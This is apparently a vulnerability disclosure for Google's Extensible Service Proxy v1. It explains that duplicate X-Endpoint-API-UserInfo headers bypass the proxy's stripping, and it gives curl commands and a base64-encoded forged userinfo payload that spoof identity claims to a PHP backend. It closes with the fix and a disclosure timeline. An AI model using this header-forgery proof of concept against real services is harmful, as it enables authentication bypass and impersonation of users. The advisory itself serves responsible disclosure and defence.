Extensible Service Proxy (a.k.a. ESP) is an open source software by  
Google assisting Cloud Endpoints, a product on Google Cloud Platform.  
ESPv1 is an nginx based proxy which enables API management  
capabilities for JSON/REST or gRPC API services.  
In a typical deployment, ESP is running and fronting the backend  
service on the same host (the backend listening in a private network  
namespace which is accessible to the public only through ESP). In  
other words: ESP is running in the security boundaries of the customer  
(from Google's point of view).  
Among other features, it supports various authentication mechanisms  
and provides a consolidated interface for the backend.  
ESP injects a special HTTP header (X-Endpoint-API-UserInfo) about the  
authenticated remote entity while proxying the request to the backend.  
The documentation of this feature can be found here:  
To prevent forgery, ESP removes this header from the incoming  
requests. However, the implementation did not do this properly and  
"removed" only the first occurrence of this header from the incoming  
requests. Consider the following example (which is sent to an API  
method that does not require any kind of authentication):  
curl -H "X-Endpoint-API-UserInfo: whatever" -H  
"X-Endpoint-API-UserInfo: this-header-bypasses-the-protection" ...  
The backend service received the HTTP request with the following  
headers (yes, the first one is an empty one):  
X-Endpoint-API-UserInfo: this-header-bypasses-the-protection  
API methods that do require authentication are also affected. In this  
case ESP includes a valid X-Endpoint-API-UserInfo header as a first  
one, but it passes through the malicious secondary  
X-Endpoint-API-UserInfo header as well. The backend received a request  
like this:  
X-Endpoint-API-UserInfo: legitimate-header-constructed-by-ESPv1  
X-Endpoint-API-UserInfo: this-header-bypasses-the-protection  
What is the impact of this? It depends on how the backend application  
processes the incoming requests, more precisely, which version of the  
UserInfo header would the application business logic actually see and  
work with. So this depends on the language/framework in use. Some  
implementations return:  
- only the first piece (e.g. Golang's Header.Get())  
- all of them in an array (e.g. Golang's Header["..."])  
- the last occurrence (e.g. Symfony in PHP)  
- each header joined into a comma separated string (e.g Python or Ruby).  
The PHP version has high impact, so I demonstrated this to Google via  
the following steps:  
Setup Cloud Endpoints along with ESPv1 by following the PHP steps  
official tutorial:  
Obtain a valid ID token:  
valid_idtoken="$(gcloud auth print-identity-token  
--audiences="YOUR-CLIENT-ID" )"  
Verify it worked (this is invoking an API method that requires a  
Google signed identity token and echoes back the info received via the  
X-Endpoint-API-UserInfo header):  
curl --header "content-type:application/json"  
"" -v -H  
"Authorization: Bearer $valid_idtoken"  
So you should see something like this:  
{"claims":"{\u0022iss\u0022:\u0022https:\/\/ ...  
Now construct a userinfo json with your desired content:  
fake_userinfo="$(echo '{  
"id": "from-sub",  
"issuer": "from-iss",  
"email": "from-email",  
"audiences": ["from-aud"],  
"claims": "whatever"  
}' | base64 -w0)"  
And send the crafted request:  
curl --header "content-type:application/json"  
"" -v -H  
"Authorization: Bearer $valid_idtoken" -H "X-Endpoint-API-UserInfo:  
doesntmatter" -H "X-Endpoint-API-UserInfo: $fake_userinfo"  
The output will be:  
Fix and remediation:  
Google has fixed this flaw with this commit:  
Administrators of ESPv1 fronted services where the backend is  
vulnerable should upgrade to a recent version of ESP with the above  
fix included. Alternatively, migrate to ESPv2 which is not affected by  
this flaw at all.  
Aug 9, 2021 - flaw discovered, report submitted  
Aug 9, 2021 - triaged, "looking into it"  
Aug 12, 2021 - some technical follow up questions back and forth  
Aug 12, 2021 - Submission accepted ("Nice catch!"), ticket filed to  
the product team  
Sep 18, 2021 - "all the bugs we created based on your report have been  
fixed by the product team"